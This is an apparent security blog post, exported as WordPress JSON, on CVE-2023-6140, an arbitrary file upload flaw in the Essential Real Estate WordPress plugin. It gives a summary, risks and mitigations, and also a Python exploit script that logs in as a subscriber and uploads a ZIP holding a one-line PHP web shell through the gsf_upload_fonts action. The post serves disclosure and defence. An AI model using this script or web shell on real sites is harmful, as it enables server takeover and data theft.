{"id":18989,"date":"2025-04-07T09:13:26","date_gmt":"2025-04-07T09:13:26","guid":{"rendered":""},"modified":"2025-08-07T11:09:38","modified_gmt":"2025-08-07T17:09:38","slug":"cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/","title":{"rendered":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin"},"content":{"rendered":"<p class=\"\" data-start=\"98\" data-end=\"123\"><strong data-start=\"98\" data-end=\"123\">Vulnerability Summary<\/strong><\/p>\n<ul data-start=\"125\" data-end=\"352\">\n<li class=\"\" data-start=\"125\" data-end=\"154\">\n<p class=\"\" data-start=\"127\" data-end=\"154\"><strong data-start=\"127\" data-end=\"138\">CVE ID:<\/strong> CVE-2023-6140<\/p>\n<\/li>\n<li class=\"\" data-start=\"155\" data-end=\"199\">\n<p class=\"\" data-start=\"157\" data-end=\"199\"><strong data-start=\"157\" data-end=\"170\">Severity:<\/strong> High (CVSS 3.1 Score: 8.8)<\/p>\n<\/li>\n<li class=\"\" data-start=\"200\" data-end=\"230\">\n<p class=\"\" data-start=\"202\" data-end=\"230\"><strong data-start=\"202\" data-end=\"220\"><\/strong><a href=\"https:\/\/www.ameeba.com\/blog\/local-hospital-network-grapples-with-major-tech-outage-a-cybersecurity-attack-case-study\/\"  data-wpil-monitor-id=\"66509\">Attack Vector: Network<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"231\" data-end=\"277\">\n<p class=\"\" data-start=\"233\" data-end=\"277\"><strong data-start=\"233\" data-end=\"257\">Privileges Required:<\/strong> Low (Subscriber+)<\/p>\n<\/li>\n<li class=\"\" data-start=\"278\" data-end=\"308\">\n<p class=\"\" data-start=\"280\" data-end=\"308\"><strong data-start=\"280\" data-end=\"301\">User Interaction:<\/strong> None<\/p>\n<\/li>\n<li class=\"\" data-start=\"309\" data-end=\"352\">\n<p class=\"\" data-start=\"311\" data-end=\"352\"><strong data-start=\"311\" data-end=\"322\">Impact:<\/strong> <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite\/\"  data-wpil-monitor-id=\"24565\">Remote Code Execution<\/a> (RCE)<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"354\" data-end=\"375\"><strong data-start=\"354\" data-end=\"375\">Affected Products<\/strong><\/p>\n<div class=\"pointer-events-none relative left-[50%] flex w-[100cqw] translate-x-[-50%] justify-center *:pointer-events-auto\">\n<div class=\"tableContainer horzScrollShadows\">\n<table class=\"min-w-full\" data-start=\"377\" data-end=\"497\">\n<thead data-start=\"377\" data-end=\"406\">\n<tr data-start=\"377\" data-end=\"406\">\n<th data-start=\"377\" data-end=\"385\">Product<\/th>\n<th data-start=\"385\" data-end=\"406\">Affected Versions<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"438\" data-end=\"497\">\n<tr data-start=\"438\" data-end=\"497\">\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"438\" data-end=\"477\">Essential Real Estate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6532-cross-site-request-forgery-vulnerability-in-wp-blogs-planetarium-wordpress-plugin-vulnerability-summary\/\"  data-wpil-monitor-id=\"25031\">WordPress Plugin<\/a><\/td>\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"477\" data-end=\"497\">Versions \u2264 4.3.5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p class=\"\" data-start=\"499\" data-end=\"524\"><strong data-start=\"499\" data-end=\"524\">How the Exploit Works<\/strong><\/p>\n<p class=\"\" data-start=\"526\" data-end=\"683\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The Essential Real Estate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/\"  data-wpil-monitor-id=\"26008\">plugin for WordPress<\/a> fails to adequately validate file types during the font upload process.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">This oversight allows authenticated users with subscriber-level permissions or higher to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"27336\">upload arbitrary files<\/a>, including PHP scripts disguised as ZIP archives.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Once uploaded, these malicious files can be executed on the server, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52030-critical-remote-code-execution-vulnerability-in-totolink-a3700r\/\"  data-wpil-monitor-id=\"25065\">remote code execution<\/a>.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/essential-real-estate\/essential-real-estate-435-authenticated-subscriber-arbitrary-file-upload?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Wordfence<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">VulDB<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><\/span><\/a><\/span><span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/feedly.com\/cve\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Feedly<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"685\" data-end=\"804\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The vulnerability resides in the <code class=\"\" data-line=\"\">gsf_upload_fonts<\/code> AJAX action, which lacks proper checks to prevent the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29553\">upload of dangerous file<\/a> types.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">An attacker can exploit this by crafting a ZIP archive containing a malicious PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-47992-critical-buffer-overflow-vulnerability-exploit-in-freeimage-library\/\"  data-wpil-monitor-id=\"25585\">file and uploading<\/a> it through the vulnerable endpoint.<\/span>\u200b<\/p><div id=\"ameeb-2688792970\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p class=\"\" data-start=\"806\" data-end=\"833\"><strong data-start=\"806\" data-end=\"833\">Conceptual Example Code<\/strong><\/p>\n<p class=\"\" data-start=\"835\" data-end=\"916\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">An <a href=\"https:\/\/www.ameeba.com\/blog\/unmasking-tcesb-malware-a-deep-analysis-of-active-attacks-exploiting-eset-security-scanner\/\"  data-wpil-monitor-id=\"27337\">attacker might use the following Python script to exploit<\/a> the vulnerability:\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"\" data-line=\"\">&lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;\/span&gt; requests<br \/>\n&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;\/span&gt; io &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;\/span&gt; BytesIO<br \/>\n&lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;\/span&gt; zipfile<\/p>\n<p>&lt;span class=&quot;hljs-comment&quot;&gt;# Target URL and credentials&lt;\/span&gt;<br \/>\nurl = &lt;span class=&quot;hljs-string&quot;&gt;&#039;https:\/\/target-site.com&#039;&lt;\/span&gt;<br \/>\nusername = &lt;span class=&quot;hljs-string&quot;&gt;&#039;subscriber_user&#039;&lt;\/span&gt;<br \/>\npassword = &lt;span class=&quot;hljs-string&quot;&gt;&#039;password123&#039;&lt;\/span&gt;<\/p>\n<p>&lt;span class=&quot;hljs-comment&quot;&gt;# Start a &lt;a class=&quot;wpil_keyword_link&quot; href=&quot;https:\/\/chat.ameeba.com&quot;   title=&quot;session&quot; data-wpil-keyword-link=&quot;linked&quot;  data-wpil-monitor-id=&quot;24330&quot;&gt;session&lt;\/a&gt;&lt;\/span&gt;<br \/>\n&lt;a href=&quot;http:\/\/pseudopod.ameeba.com&quot;   title=&quot;session&quot;  data-wpil-monitor-id=&quot;27773&quot;&gt;session&lt;\/a&gt; = requests.Session()<\/p>\n<p>&lt;span class=&quot;hljs-comment&quot;&gt;# Log in to WordPress&lt;\/span&gt;<br \/>\nlogin_data = {<br \/>\n    &lt;span class=&quot;hljs-string&quot;&gt;&#039;log&#039;&lt;\/span&gt;: username,<br \/>\n    &lt;span class=&quot;hljs-string&quot;&gt;&#039;pwd&#039;&lt;\/span&gt;: password,<br \/>\n    &lt;span class=&quot;hljs-string&quot;&gt;&#039;wp-submit&#039;&lt;\/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&#039;Log In&#039;&lt;\/span&gt;,<br \/>\n    &lt;span class=&quot;hljs-string&quot;&gt;&#039;redirect_to&#039;&lt;\/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;f&#039;&lt;span class=&quot;hljs-subst&quot;&gt;{url}&lt;\/span&gt;&lt;\/span&gt;\/wp-admin\/&#039;,<br \/>\n    &lt;span class=&quot;hljs-string&quot;&gt;&#039;testcookie&#039;&lt;\/span&gt;: &lt;span class=&quot;hljs-number&quot;&gt;1&lt;\/span&gt;<br \/>\n}<br \/>\nsession.post(&lt;span class=&quot;hljs-string&quot;&gt;f&#039;&lt;span class=&quot;hljs-subst&quot;&gt;{url}&lt;\/span&gt;&lt;\/span&gt;\/wp-login.php&#039;, data=login_data)<\/p>\n<p>&lt;span class=&quot;hljs-comment&quot;&gt;# Retrieve nonce&lt;\/span&gt;<br \/>\nprofile_page = session.get(&lt;span class=&quot;hljs-string&quot;&gt;f&#039;&lt;span class=&quot;hljs-subst&quot;&gt;{url}&lt;\/span&gt;&lt;\/span&gt;\/wp-admin\/profile.php&#039;)<br \/>\nnonce = &lt;span class=&quot;hljs-string&quot;&gt;&#039;extracted_nonce_value&#039;&lt;\/span&gt;  &lt;span class=&quot;hljs-comment&quot;&gt;# Extract nonce from the profile_page content&lt;\/span&gt;<\/p>\n<p>&lt;span class=&quot;hljs-comment&quot;&gt;# Create &lt;a href=&quot;https:\/\/www.ameeba.com\/blog\/cve-2025-31246-kernel-memory-corruption-in-macos-via-malicious-afp-server\/&quot;  data-wpil-monitor-id=&quot;47780&quot;&gt;malicious ZIP file in memory&lt;\/a&gt;&lt;\/span&gt;<br \/>\nzip_buffer = BytesIO()<br \/>\n&lt;span class=&quot;hljs-keyword&quot;&gt;with&lt;\/span&gt; zipfile.ZipFile(zip_buffer, &lt;span class=&quot;hljs-string&quot;&gt;&#039;w&#039;&lt;\/span&gt;, zipfile.ZIP_DEFLATED) &lt;span class=&quot;hljs-keyword&quot;&gt;as&lt;\/span&gt; zip_file:<br \/>\n    zip_file.writestr(&lt;span class=&quot;hljs-string&quot;&gt;&#039;malicious.php&#039;&lt;\/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&#039;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#039;&lt;\/span&gt;)<br \/>\n    zip_file.writestr(&lt;span class=&quot;hljs-string&quot;&gt;&#039;style.css&#039;&lt;\/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&#039;&#039;&lt;\/span&gt;)  &lt;span class=&quot;hljs-comment&quot;&gt;# Required file&lt;\/span&gt;<br \/>\nzip_buffer.seek(&lt;span class=&quot;hljs-number&quot;&gt;0&lt;\/span&gt;)<\/p>\n<p>&lt;span class=&quot;hljs-comment&quot;&gt;# &lt;a href=&quot;https:\/\/www.ameeba.com\/blog\/cve-2025-2891-arbitrary-file-upload-vulnerability-in-real-estate-7-wordpress-theme\/&quot;  data-wpil-monitor-id=&quot;29896&quot;&gt;Upload the malicious ZIP file&lt;\/a&gt;&lt;\/span&gt;<br \/>\nfiles = {&lt;span class=&quot;hljs-string&quot;&gt;&#039;file_font&#039;&lt;\/span&gt;: (&lt;span class=&quot;hljs-string&quot;&gt;&#039;malicious.zip&#039;&lt;\/span&gt;, zip_buffer, &lt;span class=&quot;hljs-string&quot;&gt;&#039;application\/zip&#039;&lt;\/span&gt;)}<br \/>\ndata = {&lt;span class=&quot;hljs-string&quot;&gt;&#039;_nonce&#039;&lt;\/span&gt;: nonce, &lt;span class=&quot;hljs-string&quot;&gt;&#039;name&#039;&lt;\/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&#039;malicious_font&#039;&lt;\/span&gt;}<br \/>\nresponse = session.post(&lt;span class=&quot;hljs-string&quot;&gt;f&#039;&lt;span class=&quot;hljs-subst&quot;&gt;{url}&lt;\/span&gt;&lt;\/span&gt;\/wp-admin\/admin-ajax.php?action=gsf_upload_fonts&#039;, data=data, files=files)<\/p>\n<p>&lt;span class=&quot;hljs-built_in&quot;&gt;print&lt;\/span&gt;(response.text)<br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"2096\" data-end=\"2133\">\n<p class=\"\" data-start=\"2135\" data-end=\"2220\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">This script logs into the WordPress site using subscriber credentials, retrieves the necessary nonce, creates a malicious ZIP file containing a PHP shell, and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2006-arbitrary-file-upload-vulnerability-in-inline-image-upload-for-bbpress-wordpress-plugin\/\"  data-wpil-monitor-id=\"30196\">uploads it via the vulnerable<\/a> AJAX action.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/wpscan.com\/vulnerability\/c837eaf3-fafd-45a2-8f5e-03afb28a765b\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"2222\" data-end=\"2241\"><strong data-start=\"2222\" data-end=\"2241\">Potential Risks<\/strong><\/p>\n<ul data-start=\"2243\" data-end=\"2594\">\n<li class=\"\" data-start=\"2243\" data-end=\"2330\">\n<p class=\"\" data-start=\"2245\" data-end=\"2330\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-39336-a-deep-dive-into-the-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"25322\">Execution of arbitrary PHP code<\/a> on the server\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2331\" data-end=\"2418\">\n<p class=\"\" data-start=\"2333\" data-end=\"2418\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Full compromise of the WordPress site<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/feedly.com\/cve\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Feedly<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2419\" data-end=\"2506\">\n<p class=\"\" data-start=\"2421\" data-end=\"2506\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Unauthorized <a class=\"wpil_keyword_link\" href=\"https:\/\/ameeba.com\"   title=\"access\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24329\">access<\/a> to sensitive data<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2507\" data-end=\"2594\">\n<p class=\"\" data-start=\"2509\" data-end=\"2594\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Defacement or disruption of website functionality<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"2596\" data-end=\"2626\"><strong data-start=\"2596\" data-end=\"2626\">Mitigation Recommendations<\/strong><\/p>\n<ul data-start=\"2628\" data-end=\"3086\">\n<li class=\"\" data-start=\"2628\" data-end=\"2738\">\n<p class=\"\" data-start=\"2630\" data-end=\"2738\"><strong data-start=\"2630\" data-end=\"2652\">Update the Plugin:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Upgrade to Essential <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34973\">Real Estate<\/a> version 4.4.0 or later, which addresses this vulnerability.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/wpscan.com\/vulnerability\/c837eaf3-fafd-45a2-8f5e-03afb28a765b\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Wordfence<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2739\" data-end=\"2853\">\n<p class=\"\" data-start=\"2741\" data-end=\"2853\"><strong data-start=\"2741\" data-end=\"2767\"><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7401-critical-file-read-write-vulnerability-in-premium-age-verification-restriction-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"66508\">Restrict File<\/a> Uploads:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Implement server-side checks to validate file types and restrict uploads to necessary formats only.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/essential-real-estate\/essential-real-estate-435-authenticated-subscriber-arbitrary-file-upload?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Wordfence<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2854\" data-end=\"2969\">\n<p class=\"\" data-start=\"2856\" data-end=\"2969\"><strong data-start=\"2856\" data-end=\"2883\">Limit User Permissions:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Ensure that users have the minimum necessary permissions to perform their roles.<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2970\" data-end=\"3086\">\n<p class=\"\" data-start=\"2972\" data-end=\"3086\"><strong data-start=\"2972\" data-end=\"3000\">Monitor Server Activity:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Regularly review server logs for suspicious activities, such as unexpected <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2525-arbitrary-file-upload-vulnerability-in-streamit-wordpress-theme\/\"  data-wpil-monitor-id=\"30674\">file uploads<\/a> or executions.<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"3088\" data-end=\"3102\"><strong data-start=\"3088\" data-end=\"3102\">Conclusion<\/strong><\/p>\n<p class=\"\" data-start=\"3104\" data-end=\"3229\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2023-6140 is a critical <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22937-critical-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"24873\">vulnerability in the Essential Real Estate WordPress plugin<\/a> that allows authenticated users with minimal permissions to upload and execute arbitrary PHP files, leading to potential full site compromise.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-3211-unauthenticated-sql-injection-vulnerability-in-wordpress-database-administrator-plugin\/\"  data-wpil-monitor-id=\"29974\">Administrators should promptly update the plugin<\/a> and implement the recommended security measures to protect their websites.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/feedly.com\/cve\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Feedly<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><span class=\"\" data-state=\"closed\"><span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><\/span><\/span><\/a><\/span><\/span><\/p>\n<p class=\"\" data-start=\"3231\" data-end=\"3245\"><strong data-start=\"3231\" data-end=\"3245\">References<\/strong><\/p>\n<ul data-start=\"3247\" data-end=\"3605\">\n<li class=\"\" data-start=\"3247\" data-end=\"3320\">\n<p class=\"\" data-start=\"3249\" data-end=\"3320\"><a class=\"\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-6140\" target=\"_new\" rel=\"noopener\" data-start=\"3249\" data-end=\"3318\">NVD \u2013 CVE-2023-6140<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3321\" data-end=\"3413\">\n<p class=\"\" data-start=\"3323\" data-end=\"3413\"><a target=\"_new\" rel=\"noopener\" data-start=\"3323\" data-end=\"3411\">WPScan Advisory<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3414\" data-end=\"3605\">\n<p class=\"\" data-start=\"3416\" data-end=\"3605\"><a target=\"_new\" rel=\"noopener\" data-start=\"3416\" data-end=\"3605\">Wordfence Advisory<\/a><\/p>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file 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